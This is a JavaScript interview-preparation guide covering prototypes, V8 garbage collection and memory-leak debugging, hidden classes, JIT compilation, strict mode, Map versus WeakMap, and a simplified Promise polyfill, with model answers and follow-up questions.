Big Word Alert — prototypal inheritance: the mechanism where objects delegate property lookups to another object instead of copying methods. Any time someone says “classes in JS,” you can correct-slash-clarify that it’s prototypes underneath.
Big Word Alert — inline cache (IC): V8’s hidden optimization that memoizes the location of a property on repeat access to skip re-walking the prototype chain. Mention this when discussing why property access is fast even with inheritance.
Real-World Example: Google Maps uses deep prototype chains for its shape primitives (Polygon extends Path extends Shape extends MVCObject). The team has written internal guidance cautioning against adding a 5th level because it started showing up as polymorphic IC misses in their performance traces — a concrete instance of the “fragile base class” problem with a measurable cost.Follow-up Q&A Chain:
  • Q: What’s the difference between Object.create(proto) and new F()?
  • A: Object.create(proto) directly sets the new object’s prototype to proto with no constructor run. new F() creates an object whose prototype is F.prototype and executes F as a constructor with the new object as this.
  • Q: Why did class extends Array work in ES6 but function MyArray() {} with prototype tricks didn’t?
  • A: Built-ins like Array rely on a special internal slot set during construction. Only super() via class extends triggers the correct construction path, so .length and index behavior work. Constructor-function inheritance skips that path and produces a broken subclass.
  • Q: How do static methods fit into the chain?
  • A: They live on the constructor function itself, not on .prototype. The static chain uses Object.getPrototypeOf(Subclass) === Superclass, separate from the instance chain via .prototype.
Answer: JavaScript uses automatic memory management — you do not malloc/free like in C. The garbage collector (GC) periodically finds objects that are no longer reachable from the program and frees their memory. V8 uses a generational, mark-and-sweep collector with two main spaces.How Mark-and-Sweep works:
  1. Roots — Starting points: the global object (window/global), the current call stack, and active closures
  2. Mark phase — Walk from all roots, following every reference. Every reachable object gets “marked” as alive
  3. Sweep phase — Scan the entire heap. Any object NOT marked is unreachable — deallocate its memory
  4. Compact (optional) — Move surviving objects together to reduce fragmentation
V8’s generational approach:
  • Young Generation (Scavenger) — Small space (~1-8MB). New objects go here. Collected very frequently (every few ms). Uses a semi-space copying algorithm: split into “from” and “to” spaces, copy survivors to “to” space, swap. Most objects die young — this is fast.
  • Old Generation (Major GC) — Large space. Objects that survive two scavenge cycles get promoted here. Collected less frequently using mark-sweep-compact. This is the one that causes noticeable pauses.
  • Incremental Marking — V8 does not stop-the-world for the entire mark phase. It marks incrementally between JS execution slices (~5ms chunks) to avoid long pauses.
The five memory leak patterns every JS developer must know:
  1. Accidental globals — Forgetting let/const, so x = 5 creates window.x. Stays forever. Strict mode prevents this.
  2. Forgotten timerssetInterval callbacks hold closures alive. If you navigate away in an SPA without calling clearInterval, the callback and everything it closes over stays in memory.
  3. Closures retaining large objects — A closure that only needs a small value but accidentally captures a reference to a 50MB array.
  4. Detached DOM nodes — You remove an element from the DOM but still hold a JS reference to it (in a variable or Map). The node and all its children stay in memory.
  5. Event listeners not removed — Adding addEventListener in a component mount without removeEventListener on unmount. Each navigation adds more listeners.
Debugging with Chrome DevTools:
// Step 1: Open DevTools -> Memory tab
// Step 2: Take Heap Snapshot (baseline)
// Step 3: Perform the action that leaks (navigate, click, etc.)
// Step 4: Take another Heap Snapshot
// Step 5: Select "Objects allocated between Snapshot 1 and 2"
// Step 6: Sort by "Retained Size" -- largest items are your suspects
// Step 7: Check "Retainers" panel to see what is keeping them alive
What interviewers are really testing: Can you explain why something leaks, not just list leak types? Do you know how to diagnose a leak in production? Senior candidates should mention V8’s generational model and incremental marking.Red flag answer: “JavaScript handles memory automatically so you don’t need to worry about leaks.” Also: not knowing how to use Heap Snapshots to diagnose a specific leak.Follow-up questions:
  • “How would you identify a memory leak in a Node.js service that slowly consumes more RSS over 48 hours?” — Use process.memoryUsage() to track heap growth over time. Enable --inspect and take heap snapshots remotely with Chrome DevTools. Compare two snapshots taken hours apart — look for object types with growing instance counts. Common Node.js leaks: unclosed database connections, growing caches without eviction (use LRU), and streams not properly destroyed. For production, tools like Datadog or clinic.js can track heap trends.
  • “What is the difference between WeakRef and WeakMap for memory management?”WeakMap holds weak references to keys — if nothing else references the key object, both the key and value get GC’d. WeakRef (ES2021) gives you a weak reference to a single objectderef() returns the object or undefined if it was collected. WeakRef is lower-level; WeakMap is the right choice 95% of the time. FinalizationRegistry pairs with WeakRef to run cleanup callbacks after GC.
  • “Why does delete obj.prop hurt performance even though it frees memory?”delete changes the object’s hidden class (shape) in V8. This makes the object transition to a slower “dictionary mode” for property lookups. It is almost always better to set the property to null or undefined instead of deleting it — you free the value’s memory without changing the shape.
What weak candidates say:
  • “JavaScript handles memory automatically so you do not need to worry about leaks.”
  • Cannot name more than one or two leak patterns.
  • Have never used Chrome DevTools Memory tab or taken a Heap Snapshot.
  • Think garbage collection is free and has no performance impact.
What strong candidates say:
  • List all five leak patterns unprompted and give a real example for each.
  • Describe a specific memory leak they diagnosed in production, including the tool chain (Heap Snapshots, allocation timeline, retainer graph).
  • Explain V8’s generational GC: young generation (Scavenger, semi-space copying, ~1-8MB, frequent) vs old generation (mark-sweep-compact, larger, incremental marking to avoid long pauses).
  • Know that WeakRef and FinalizationRegistry exist but understand their non-deterministic nature and appropriate use cases (cache cleanup, not critical resource release).
  • Mention that structuredClone, postMessage, and JSON.parse all allocate new objects, contributing GC pressure in hot paths.
Senior vs Staff perspective
  • Senior: Can identify a leak via Chrome DevTools, name the five leak patterns, and fix a specific instance.
  • Staff: Builds systemic prevention — lint rules (react-hooks/exhaustive-deps, custom no-unclean-listeners), automated memory regression tests in CI that compare heap size across builds, component-level memory budgets, patterns library (useEffect cleanup templates, AbortController for fetch cancellation), and an RCA template for memory incidents. Also thinks about the production observability layer: RUM heap metrics via performance.memory, client-side sampling, and linking frontend memory spikes to user journey.
Work-sample scenario: Your SPA’s Chrome tab hits 2GB after 30 minutes of use and crashes. Walk through your diagnosis.
  • Step 1: Reproduce deterministically. Record the user journey; identify the action that triggers growth.
  • Step 2: Open DevTools Memory -> Allocation Timeline. Record while performing the action 10 times. Look for a sawtooth (normal, GC working) vs monotonic growth (leak).
  • Step 3: Take Heap Snapshot baseline. Perform action 50 times. Take a second snapshot. Compare -> “Objects allocated between snapshots” -> sort by Retained Size.
  • Step 4: The top retainer is usually the culprit. Common findings: detached DOM nodes (you removed a component but a listener still holds it), growing Map used as cache, closures capturing large props.
  • Step 5: Fix options by frequency: (a) move from addEventListener without cleanup to useEffect with cleanup function, (b) replace Map cache with an LRU or WeakMap, (c) use AbortController for fetch to cancel pending requests on unmount, (d) destructure props in closures instead of closing over the whole object.
  • Step 6: Guardrail: add a Playwright test that repeats the action N times and asserts performance.memory.usedJSHeapSize is under a threshold.
Follow-up chain:
  • “Your leak only happens in Safari, not Chrome. What’s different?” — Different GC heuristics and timing, different WebKit memory accounting. WeakRef timing is non-deterministic and varies by engine. Check FinalizationRegistry callbacks that may not fire in Safari as expected. Also Safari caps idle tab memory more aggressively, which can mask issues in Chrome.
  • “The leak disappears when you disable the React dev tools extension. What’s happening?” — React DevTools holds references to all component instances for debugging. In production-mode builds, this should not happen. You may be measuring a ‘dev-only’ leak; ship production build and re-measure.
  • “What’s the cost of WeakMap/WeakRef vs regular Map/Ref?” — WeakMap entries cost slightly more memory overhead per entry (GC bookkeeping), but pay off by auto-clearing. WeakRef is even lighter but gives no strong guarantee the ref is alive between calls. For caches of medium lifetime, a size-bounded LRU Map is often simpler than weak references.
Structured Answer Template (GC)
  1. Say GC exists because reachability from roots is what defines “alive.”
  2. Describe mark + sweep, then mention generational young/old spaces.
  3. Call out V8’s incremental marking to avoid stop-the-world.
  4. List leak patterns (globals, timers, closures, detached DOM, listeners).
  5. Tie to tooling: Heap Snapshots, Allocation Timeline, performance.memory.
Big Word Alert — mark-and-sweep: the GC algorithm that marks every reachable object, then sweeps the unmarked ones. Say “mark-and-sweep” when you mean the core algorithm, “generational” when you mean V8’s performance layering on top.
Big Word Alert — retainer: the object (or chain of objects) keeping another object alive in the heap. In DevTools, you hunt leaks by following the retainer path.
Real-World Example: Dropbox’s web client once had a leak in its file-preview SPA where closing a preview retained the entire preview component tree because a keyboard shortcut handler was registered on document but never removed. After 100 opens, a tab would cross 1GB. The fix was to route every shortcut through a single dispatcher that hard-owns the listener lifecycle — a systemic pattern, not a per-component patch.Follow-up Q&A Chain:
  • Q: Does V8 ever free memory back to the OS?
  • A: Rarely and conservatively. After major GCs it may return large uncommitted pages, but long-lived processes usually hold their peak RSS, which is why Node services need restart policies.
  • Q: Why doesn’t forcing global.gc() solve leaks?
  • A: gc() only runs if the leak is already unreachable. If something is still reachable via a retainer, no amount of GC pressure frees it — that’s the definition of a leak.
  • Q: When is WeakRef the right answer vs WeakMap?
  • A: WeakMap for “I have a key object and want associated data to die with it.” WeakRef for “I want to observe an object without preventing its collection” — typically in caches where you want the cache entry to disappear if nothing else holds the value.
Further Reading
Answer: V8 (and SpiderMonkey, JavaScriptCore) does not treat JavaScript objects as hash maps — it creates internal “hidden classes” (V8 calls them Maps, SpiderMonkey calls them Shapes) to optimize property access to near-C-struct speeds. This is one of the key reasons modern JS is fast despite being dynamically typed.How hidden classes work:
  • When you create { x: 1, y: 2 }, V8 creates a hidden class that says “offset 0 is x (type: number), offset 4 is y (type: number)”
  • If another object is created with the SAME properties in the SAME order, it reuses the same hidden class — like two C structs sharing the same struct definition
  • Property access then becomes a direct memory offset lookup (fast) instead of a hash table lookup (slower)
  • Transition chains: adding x to an empty object creates hidden class HC1. Adding y creates HC2. V8 caches these transitions so the next object with the same pattern reuses them.
// GOOD: Same shape -- both share one hidden class
function Point(x, y) {
    this.x = x; // HC0 -> HC1 (has x)
    this.y = y; // HC1 -> HC2 (has x, y)
}
const p1 = new Point(1, 2); // Uses HC2
const p2 = new Point(3, 4); // Reuses HC2 -- fast!

// BAD: Different property order -> different hidden classes
const p3 = {};
p3.x = 1; // HC0 -> HC3 (has x -- same as HC1? No, different starting object shape)
p3.y = 2; // HC3 -> HC4

const p4 = {};
p4.y = 2; // HC0 -> HC5 (has y)
p4.x = 1; // HC5 -> HC6 (has y, x -- different order!)
// p3 and p4 have DIFFERENT hidden classes even though they have the same properties
What triggers deoptimization (dictionary mode):
  1. Adding properties after construction — Objects become polymorphic. V8 may bail out of inline caches.
  2. delete operator — Immediately transitions the object to slow dictionary mode. This is one of the worst things you can do performance-wise. Set to undefined instead.
  3. Different property order — As shown above. Always initialize properties in a consistent order.
  4. Changing property types — If obj.x was always a number and you assign a string, V8 deoptimizes the inline cache for that access.
  5. Too many properties — Objects with more than ~27 fast properties (V8 specific) switch to dictionary mode.
  6. Computed property keysobj[dynamicKey] = val prevents V8 from building a transition chain.
Practical impact — measured example:
// Monomorphic access (one hidden class) -- ~10ns per access
const points = Array.from({ length: 1000000 }, (_, i) => new Point(i, i));
let sum = 0;
for (const p of points) sum += p.x; // V8 caches the offset for p.x

// Polymorphic access (4+ hidden classes) -- ~50-100ns per access
const mixed = points.map((p, i) => {
    const obj = {};
    if (i % 4 === 0) { obj.x = p.x; obj.y = p.y; }
    else if (i % 4 === 1) { obj.y = p.y; obj.x = p.x; }
    else if (i % 4 === 2) { obj.x = p.x; obj.y = p.y; obj.z = 0; }
    else { obj.a = 0; obj.x = p.x; obj.y = p.y; }
    return obj;
});
for (const p of mixed) sum += p.x; // V8 cannot cache -- megamorphic
Rules for V8-friendly code:
  • Initialize ALL properties in the constructor, in the same order
  • Never delete properties — set to null or undefined
  • Keep types consistent (do not store numbers then strings in the same property)
  • Prefer classes/constructor functions over object literals for high-volume objects
  • Avoid adding properties dynamically after construction
What interviewers are really testing: Do you understand why JS can be fast despite being dynamic? Do you know what patterns cause deoptimization in hot paths? This is a staff-level question — it separates people who write correct JS from people who write performant JS.Red flag answer: “Object property access is always O(1) like a hash map.” It is O(1) but the constant factor varies by 5-10x depending on whether V8 can use inline caches or falls back to dictionary mode.Follow-up questions:
  • “How would you diagnose a deoptimization in production?” — Use node --trace-opt --trace-deopt to see which functions V8 optimizes and deoptimizes at runtime. The output tells you why it deoptimized (e.g., “wrong map” means the object had a different hidden class than expected). For browsers, use the V8 Performance panel with “Heavy (Bottom Up)” view to find functions with high self-time — those are often deoptimized hot functions. The Deopt Explorer VS Code extension can visualize deopt logs.
  • “What are inline caches and how do they relate to hidden classes?” — An inline cache (IC) is a call-site-specific optimization. The first time obj.x runs at a particular line, V8 records the hidden class and the offset of x. On subsequent calls, if the object has the same hidden class, V8 skips the lookup entirely and reads directly from the cached offset. Monomorphic ICs (one class) are fastest, polymorphic (2-4 classes) are slower, megamorphic (5+) fall back to a generic hash lookup.
  • “Does Object.freeze() affect hidden classes?” — Yes. Object.freeze() transitions the object to a “frozen” internal state where V8 knows properties cannot change. This actually helps optimization in some cases because V8 can make stronger assumptions about the object’s shape. But if you freeze objects inconsistently (some frozen, some not, with the same shape), you create different hidden classes.
Structured Answer Template (Hidden Classes)
  1. State: V8 represents objects as fixed shapes, not hash maps.
  2. Describe transitions: each added property forks a new hidden class.
  3. Explain inline caches reusing shapes for fast property access.
  4. List deopt triggers (delete, reorder, type change, too many props).
  5. Give the rule set: init all props in constructor, keep types stable.
Big Word Alert — hidden class (Map/Shape): an internal V8 structure describing an object’s layout so property access becomes a fixed memory offset. Mention it when explaining why “same-shaped” objects are critical for performance.
Big Word Alert — monomorphic/polymorphic/megamorphic: how many hidden classes a given call site has seen. Monomorphic = fast, polymorphic = slower, megamorphic = falls off the optimization cliff.
Real-World Example: Google Sheets’ rendering pipeline was noticeably faster after the team normalized cell objects to always carry the same set of fields (with null placeholders instead of missing properties). The change reduced cell-access call sites from megamorphic to monomorphic and trimmed scroll-frame times measurably on large sheets.Follow-up Q&A Chain:
  • Q: Why is delete obj.x considered such a perf footgun?
  • A: It forces V8 to transition the object to dictionary mode, abandoning the fast shape-based layout. Subsequent property access becomes a hash lookup — multiple times slower.
  • Q: Do TypeScript interfaces produce better hidden classes?
  • A: TypeScript erases at runtime, so the engine sees ordinary JS. The win comes indirectly: TS encourages consistent shapes (you can’t add random properties), which naturally keeps hidden classes stable.
  • Q: How does Object.freeze interact with hidden classes?
  • A: It transitions the object to a frozen shape and allows V8 to make stronger assumptions (no future property writes). Helpful in tight loops, but only when freeze is applied consistently — mixed frozen/unfrozen creates extra shapes.
Further Reading
Answer: V8 does not just interpret JavaScript — it has a multi-tier compilation pipeline that progressively optimizes “hot” code paths. Understanding this pipeline is what separates developers who write incidentally fast code from those who write intentionally fast code.V8’s compilation pipeline (current architecture):
  1. Parser — Turns source into an AST. V8 does lazy parsing — it only fully parses functions when they are actually called, not when they are defined. This speeds up initial load for large codebases.
  2. Ignition (Interpreter) — Compiles the AST into compact bytecode and executes it. This is “cold” code. While executing, Ignition collects type feedback: “this function always receives integers,” “this property access always sees objects with hidden class HC7.”
  3. Sparkplug (Baseline Compiler) — A fast, non-optimizing compiler that turns bytecode into machine code without expensive optimizations. Fills the gap between Ignition and TurboFan. Added in V8 9.1 (2021). Reduces the “interpreter is slow but TurboFan hasn’t kicked in yet” phase.
  4. TurboFan (Optimizing Compiler) — Takes “hot” functions (called hundreds/thousands of times) and compiles them into highly optimized machine code using the type feedback from Ignition. Makes speculative assumptions: “this + always adds two SMIs (small integers), so I’ll emit a single x86 ADD instruction instead of a type-checking branching sequence.”
  5. Deoptimization — If a speculative assumption breaks (e.g., you pass a string to a function TurboFan assumed only receives numbers), the optimized code is thrown away and execution falls back to Ignition bytecode. This is expensive — the stack frame must be reconstructed.
// This function gets JIT'd after ~hundreds of calls
function add(a, b) {
    return a + b;
}

// Hot loop -- TurboFan sees: a is always SMI, b is always SMI
for (let i = 0; i < 100000; i++) {
    add(i, i + 1);
}
// TurboFan emits optimized machine code: integer ADD, no type checks

// Now break the assumption
add("hello", "world"); // DEOPT! String concatenation, not integer add
// V8 discards optimized code, falls back to Ignition
// If this call site stays polymorphic, TurboFan won't re-optimize it
Monomorphic vs Polymorphic vs Megamorphic — the performance cliff:
function getX(obj) { return obj.x; }

// Monomorphic: one hidden class -- FASTEST (~10ns)
const pointA = { x: 1, y: 2 };
for (let i = 0; i < 1e6; i++) getX(pointA);

// Polymorphic: 2-4 hidden classes -- slower (~30ns)
const pointB = { x: 1, y: 2, z: 3 }; // different shape
for (let i = 0; i < 1e6; i++) getX(i % 2 ? pointA : pointB);

// Megamorphic: 5+ hidden classes -- SLOWEST (~80ns, generic lookup)
const shapes = [
    { x: 1 }, { x: 1, a: 2 }, { x: 1, b: 3 },
    { x: 1, c: 4 }, { x: 1, d: 5 }, { x: 1, e: 6 }
];
for (let i = 0; i < 1e6; i++) getX(shapes[i % 6]);
Practical rules for JIT-friendly code:
  1. Keep function arguments consistent types — Do not call add(1, 2) then add("a", "b") in the same hot path
  2. Avoid changing object shapes (see Hidden Classes question)
  3. Do not mix integers and floats — V8 uses SMI (Small Integer) representation for 31-bit integers, heap numbers for everything else. arr[0] = 1 then arr[0] = 1.5 transitions the entire array to double storage.
  4. Avoid arguments object — It prevents several TurboFan optimizations. Use rest parameters (...args) instead.
  5. Avoid eval and with — They prevent any optimization of the containing function.
  6. Avoid try/catch in hot loops — V8 has improved this, but historically the entire function containing try/catch was deoptimized. In modern V8, the cost is minimal but the catch block itself is always cold.
What interviewers are really testing: This is a staff/principal-level question. They want to know if you understand why consistent types matter, not just that they do. The candidate who can explain the progression from Ignition type feedback to TurboFan speculation to deopt bailout demonstrates deep engine knowledge.Red flag answer: “JavaScript is interpreted, so it’s always slow.” Modern V8 JIT-compiled code runs within 2-3x of C++ for numeric computation. Also: thinking that eval is just “bad practice” without knowing it literally prevents optimization.Follow-up questions:
  • “How would you measure whether TurboFan has optimized a specific function?” — Run Node.js with --trace-opt --trace-deopt --trace-ic. Look for [optimizing] and [completed optimizing] log lines for your function. --trace-deopt shows you exactly which assumption broke and why. In Chrome, the Performance panel’s “Bottom Up” view shows functions by total time — unoptimized functions have disproportionately high self-time relative to their complexity.
  • “What is the SMI optimization and why does it matter?” — SMI (Small Integer) is V8’s fast integer representation: a 31-bit integer stored directly in the pointer (tagged, with the low bit set to 0 to distinguish from heap pointers). SMI arithmetic skips heap allocation entirely — no GC pressure. As soon as a number exceeds 2^30-1 or becomes a float, V8 promotes it to a HeapNumber (boxed double), which requires allocation. This is why integer-only array operations are faster than mixed int/float.
  • “Why is arguments bad for optimization, and what exactly does rest (...args) do differently?” — The arguments object is “magical”: it aliases named parameters (changing arguments[0] changes the named param in sloppy mode), it is not a real array, and it prevents TurboFan from analyzing the function’s parameter flow. Rest parameters create a standard Array with no aliasing, allowing full optimization. In practice, this means a function using arguments can be 3-5x slower in hot paths.
Structured Answer Template (JIT)
  1. Outline the tiers: Ignition -> Sparkplug -> TurboFan, with deopt fallback.
  2. Explain type feedback: the interpreter records what types each site sees.
  3. Cover speculation: TurboFan emits code assuming those types hold.
  4. Describe deopt: a violated assumption kicks code back down to bytecode.
  5. Close with the “keep it monomorphic” practical rule.
Big Word Alert — JIT (Just-In-Time) compilation: compiling code to machine code at runtime after observing how it behaves. Use this when explaining why JS can approach C++ speed despite being dynamic.
Big Word Alert — deoptimization (deopt): V8’s act of throwing away an optimized version of a function when a runtime assumption breaks. A hot function that keeps deopting is worse than one that never optimized — it pays the compile cost twice.
Real-World Example: Discord’s text-rendering path in the Electron client was once dominated by a single function that was deopting repeatedly because it accepted either a string or an object shape. Splitting it into two typed functions (renderString vs renderEmbed) moved both call sites back to monomorphic and reportedly cut frame time for heavy channels significantly.Follow-up Q&A Chain:
  • Q: Why does V8 have both Sparkplug and TurboFan?
  • A: Sparkplug is a baseline compiler that’s fast to produce and predictable. It covers the “warming up” window so code isn’t stuck in the bytecode interpreter while TurboFan slowly optimizes a hot function.
  • Q: How is JS JIT different from the JVM’s HotSpot?
  • A: Similar idea — tiered compilation with type feedback. Key difference: JVM can rely on static types from bytecode. V8 must infer types from observations, so it’s more eager to deopt when assumptions break.
  • Q: Can I force V8 to re-optimize a function after I fixed a deopt?
  • A: There’s no public API. The engine re-decides after the function hits the hotness threshold again. In practice, restructure the code so the problematic call site doesn’t exist — don’t try to trick the heuristic.
Answer: Strict mode is an opt-in restricted variant of JavaScript that eliminates silent errors and enables better optimization. ES modules and classes are strict by default — you are already using it in most modern code.What strict mode actually changes (the important ones):
  1. Prevents accidental globalsx = 5 without let/const/var throws ReferenceError instead of silently creating window.x. In a 200-file codebase, this one rule alone has prevented countless bugs.
  2. this defaults to undefined — In sloppy mode, a standalone function call sets this to window. Strict mode makes it undefined. This exposes this-binding bugs that would otherwise silently produce wrong results.
  3. Disables with statementwith makes scope resolution ambiguous (the engine cannot tell at parse time which variables are local vs from the with object). Banning it lets V8 optimize better.
  4. Throws on read-only property assignmentObject.freeze(obj); obj.x = 5 silently fails in sloppy mode, throws TypeError in strict mode.
  5. No duplicate parameter namesfunction f(a, a) is valid in sloppy mode (the second a shadows the first). Strict mode throws SyntaxError.
  6. delete on non-configurable property throws — Instead of silently returning false.
  7. Octal literals are banned0644 is parsed as 644 in strict mode (or throws depending on context). Use 0o644 instead.
The optimization angle — Strict mode enables V8 to make assumptions that result in faster code. Without with, without arguments aliasing, and with guaranteed this behavior, TurboFan can optimize more aggressively.When you are already in strict mode without knowing it:
  • ES modules (import/export) are always strict
  • Class bodies are always strict
  • Arrow functions inside strict context inherit strictness
What interviewers are really testing: Do you know the practical implications (especially this behavior change), or do you just say “it makes JavaScript stricter”?Red flag answer: “I always add 'use strict' to every file.” If you are using ES modules (which you should be), every module is already strict. Adding the directive is redundant and shows you do not understand the module system.Follow-up questions:
  • “Can strict and sloppy mode code interact in the same application?” — Yes, and this is common in real codebases. Each function has its own strict mode flag. A strict function can call a sloppy function and vice versa. Problems arise when sloppy library code sets this to window and your strict code expects undefined. This is why wrapping third-party callbacks in your own strict wrapper is good practice.
  • “Does strict mode affect performance?” — Yes, positively. V8’s parser marks strict functions, allowing TurboFan to skip certain checks (no with resolution, no arguments aliasing, no implicit global creation). Benchmarks show 5-15% improvement in some cases, though modern engines have closed most gaps.
  • “What is the arguments object behavior difference in strict mode?” — In sloppy mode, arguments aliases named parameters: changing arguments[0] changes the first named param and vice versa. Strict mode breaks this aliasing — arguments is a snapshot, not a live mirror. This is why rest parameters (...args) are preferred: they have no aliasing in either mode.
Structured Answer Template (Strict Mode)
  1. Define: opt-in restricted variant that turns silent bugs into loud ones.
  2. List the big wins: no implicit globals, this = undefined, no with.
  3. Mention you’re already in it: ES modules and classes are strict by default.
  4. Call out the perf angle: fewer special cases = better optimization.
  5. Close with the practical advice: don’t sprinkle 'use strict' — use ESM.
Big Word Alert — sloppy mode: the original, non-strict JavaScript semantics kept for backward compatibility. Worth naming so the contrast with strict mode is explicit.
Real-World Example: When Node.js switched to ESM by default for .mjs files and "type": "module" packages, a wave of npm modules suddenly surfaced latent bugs where test helpers had been silently creating globals. The code had worked in CommonJS (sloppy by default) but threw ReferenceErrors under the newly-strict ESM context.Follow-up Q&A Chain:
  • Q: Does 'use strict' inside an ES module do anything?
  • A: Nothing functional — modules are already strict. It’s dead code that signals either a habit or a file that was copied from a non-module context.
  • Q: Can strict mode be enabled per-function?
  • A: Yes: function foo() { 'use strict'; ... } makes just that function strict, even in a sloppy file. Used historically to opt into strict behavior gradually.
  • Q: What’s a bug strict mode can’t catch?
  • A: Logical mistakes — wrong comparisons, off-by-one errors, incorrect promise chaining. Strict mode only addresses the “silent fail” class of errors around variables, this, and property writes.
Further Reading
Answer: The key difference: Map holds strong references to its keys (preventing garbage collection), while WeakMap holds weak references (allowing GC when no other references exist). This makes WeakMap ideal for metadata you want to associate with objects without causing memory leaks.
FeatureMapWeakMap
KeysAny type (primitives, objects)Objects and Symbols only
GC behaviorPrevents GC of keysAllows GC — if no other ref to key, entry is removed
IterationIterable (forEach, for...of, .keys(), .values())Not iterable (by design — entries can disappear at any time)
.sizeYesNo (cannot know size — entries may be GC’d)
Use casesCaches, dictionaries, counting, any general mappingDOM node metadata, private data, object-associated state
Why WeakMap is not iterable — This is a design decision, not a limitation. Since entries can be garbage collected at any time, iterating would produce non-deterministic results. You could iterate and get 5 entries on one run and 3 on the next depending on GC timing.Real-world use cases for WeakMap:
// 1. Private data (used by Babel for private class fields polyfill)
const privateData = new WeakMap();
class User {
    constructor(name, ssn) {
        this.name = name;
        privateData.set(this, { ssn }); // Truly private, GC-friendly
    }
    getSSN() { return privateData.get(this).ssn; }
}
// When a User instance is GC'd, its private data is automatically cleaned up

// 2. DOM metadata without memory leaks
const nodeMetadata = new WeakMap();
function trackElement(el) {
    nodeMetadata.set(el, { clickCount: 0, lastInteraction: Date.now() });
}
// When the DOM element is removed and GC'd, metadata is cleaned up automatically
// Compare with Map: the element would stay in memory forever

// 3. Memoization that does not leak
const cache = new WeakMap();
function expensiveCompute(obj) {
    if (cache.has(obj)) return cache.get(obj);
    const result = /* heavy computation */;
    cache.set(obj, result);
    return result;
}
// When obj is no longer referenced elsewhere, the cache entry is cleaned up
Map vs WeakMap — the decision framework:
  • Need to iterate entries? Use Map.
  • Keys are primitives (strings, numbers)? Must use Map.
  • Associating data with objects you do not own? Use WeakMap (no leak risk).
  • Building a cache that should shrink when objects are GC’d? Use WeakMap.
  • Need .size or deterministic behavior? Use Map.
What interviewers are really testing: Do you understand why WeakMap exists (memory management), or do you just know the API differences? Senior candidates should give a concrete use case where Map would leak and WeakMap would not.Red flag answer: “WeakMap is just a Map with fewer features.” It exists to solve a specific memory management problem. Also: not knowing that WeakMap keys must be objects (or Symbols).Follow-up questions:
  • “You mentioned WeakMap for caching. How does it compare to an LRU cache?” — WeakMap eviction is non-deterministic — you cannot control when GC runs. An LRU cache (like lru-cache npm) gives you deterministic eviction based on size/age. Use WeakMap when the cache should be tied to object lifetimes (e.g., computed properties of DOM nodes). Use LRU when you need bounded memory with predictable eviction (e.g., API response cache with a 1000-entry limit).
  • “Why were Symbols added as valid WeakMap keys in ES2023?” — To support the Records & Tuples proposal and to allow weak associations without creating wrapper objects. Before this change, if you wanted a weak key, you had to create an object just to serve as the key. Now Symbol() works — it is unique, unforgeable, and garbage-collectable (only “registered” symbols from Symbol.for() are NOT valid weak keys because they are globally reachable).
  • “What is WeakSet and when would you use it over WeakMap?”WeakSet is like Set but with weak references to its values (which must be objects). Use it when you only need to track “has this object been seen?” without associated data. Classic use case: tracking which DOM nodes have been initialized by a library, or which objects have been validated. brokenLinks.has(element) is cheaper and more semantic than brokenLinks.get(element) === true.
Structured Answer Template (WeakMap)
  1. Lead with: strong refs (Map) vs weak refs (WeakMap) — the GC distinction.
  2. List WeakMap constraints: keys must be objects/Symbols, not iterable, no .size.
  3. Give the use cases: private state, DOM metadata, object-keyed caches.
  4. Explain why non-iterable: entries can disappear between iterations.
  5. Contrast with LRU caches for the “bounded, deterministic” use case.
Big Word Alert — weak reference: a pointer that does not count toward keeping an object alive. If only weak refs exist, the GC is free to collect the object.
Real-World Example: Airbnb’s internal design-system library attaches metadata to rendered DOM nodes via a WeakMap. Because the nodes get removed and re-created rapidly during route changes, using a regular Map previously caused the metadata store to grow unbounded. Switching to WeakMap made cleanup automatic — when a node was detached and dropped by React, its entry vanished too.Follow-up Q&A Chain:
  • Q: Can I iterate a WeakMap for debugging?
  • A: Not directly, by design. For debugging only, Chrome DevTools can show WeakMap contents via queryObjects() in the console, but production code must track keys separately if iteration is required.
  • Q: What happens if I use a primitive as a WeakMap key?
  • A: Pre-ES2023 you get a TypeError. ES2023 allows Symbols as weak keys too, but not registered symbols from Symbol.for() (those are globally reachable and can never be collected).
  • Q: Is WeakMap lookup as fast as Map lookup?
  • A: Close, but slightly slower on average due to additional GC bookkeeping. In 99% of real apps the difference is invisible; pick based on semantics, not micro-benchmarks.
Further Reading

2. Async Patterns

Answer: A Promise is a state machine with three states: Pending, Fulfilled, and Rejected. Once it transitions from Pending to Fulfilled or Rejected, it is settled and can never change state again. The .then() method is an implementation of the Observer pattern — you register callbacks that fire when the state transitions.The critical detail most people miss: Promise callbacks are always asynchronous, even if the promise is already settled. Promise.resolve(42).then(fn) does NOT call fn synchronously. It schedules fn on the microtask queue. This guarantees consistent ordering — you never have to wonder “did this run sync or async?”A real polyfill (simplified but correct in spirit):
class MyPromise {
    constructor(executor) {
        this.state = 'PENDING';
        this.value = undefined;
        this.handlers = [];

        const resolve = (val) => {
            if (this.state !== 'PENDING') return; // Ignore if already settled
            this.state = 'FULFILLED';
            this.value = val;
            // Schedule handlers as microtasks
            this.handlers.forEach(h => queueMicrotask(() => h.onFulfill(val)));
        };

        const reject = (reason) => {
            if (this.state !== 'PENDING') return;
            this.state = 'REJECTED';
            this.value = reason;
            this.handlers.forEach(h => queueMicrotask(() => h.onReject(reason)));
        };

        try {
            executor(resolve, reject);
        } catch (err) {
            reject(err); // If executor throws, promise rejects
        }
    }

    then(onFulfill, onReject) {
        // then() MUST return a new promise (chaining)
        return new MyPromise((resolve, reject) => {
            const handle = {
                onFulfill: (val) => {
                    try {
                        const result = onFulfill ? onFulfill(val) : val;
                        resolve(result);
                    } catch (err) { reject(err); }
                },
                onReject: (reason) => {
                    try {
                        const result = onReject ? onReject(reason) : reason;
                        onReject ? resolve(result) : reject(result);
                    } catch (err) { reject(err); }
                }
            };

            if (this.state === 'PENDING') {
                this.handlers.push(handle);
            } else if (this.state === 'FULFILLED') {
                queueMicrotask(() => handle.onFulfill(this.value));
            } else {
                queueMicrotask(() => handle.onReject(this.value));
            }
        });
    }

    catch(onReject) { return this.then(null, onReject); }
    finally(cb) { return this.then(val => { cb(); return val; }, err => { cb(); throw err; }); }
}
Key Promises/A+ spec requirements:
  • .then() must return a new promise (enables chaining)
  • If onFulfill returns a promise, the outer promise “adopts” its state (resolution unwrapping)
  • Callbacks must execute asynchronously (microtask scheduling)
  • A promise can only be settled once — subsequent resolve/reject calls are ignored
